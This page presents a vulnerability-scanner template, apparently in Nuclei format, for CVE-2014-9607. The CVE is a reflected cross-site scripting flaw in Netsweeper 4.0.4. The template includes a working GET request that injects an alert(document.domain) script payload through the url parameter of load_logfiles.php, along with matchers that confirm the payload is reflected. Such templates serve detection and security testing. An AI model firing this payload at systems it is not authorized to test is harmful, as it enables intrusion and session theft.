CVE-2014-9607: Netsweeper 4.0.4 - Cross-Site Scripting

2025-08-01 Netsweeper PoC Public

Description

A cross-site scripting vulnerability in remotereporter/load_logfiles.php in Netsweeper 4.0.3 and 4.0.4 allows remote attackers to inject arbitrary web script or HTML via the url parameter.

PoC

id: CVE-2014-9607

info:
  name: Netsweeper 4.0.4 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: A cross-site scripting vulnerability in remotereporter/load_logfiles.php in Netsweeper 4.0.3 and 4.0.4 allows remote attackers to inject arbitrary web script or HTML via the url parameter.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the targeted user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or updates provided by the vendor to mitigate this vulnerability.
  reference:
    - https://packetstormsecurity.com/files/download/133034/netsweeper-issues.tgz
    - https://nvd.nist.gov/vuln/detail/CVE-2014-9607
    - http://packetstormsecurity.com/files/133034/Netsweeper-Bypass-XSS-Redirection-SQL-Injection-Execution.html
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2014-9607
    cwe-id: CWE-79
    epss-score: 0.04749
    epss-percentile: 0.91415
    cpe: cpe:2.3:a:netsweeper:netsweeper:4.0.3:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: netsweeper
    product: netsweeper
  tags: cve2014,cve,packetstorm,netsweeper,xss,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/remotereporter/load_logfiles.php?server=018192&url=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '</script><script>alert(document.domain)</script>'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100eee7c77841318f62c2a70fb1660c14ac5f3dd1302bf11f0b9b354060e96018d802201f8075817cccae0ad04407ecd5d9096a5378f6e4bf38ea93c2f16d213f4509ad:922c64590222798bb761d5b6d8e72950

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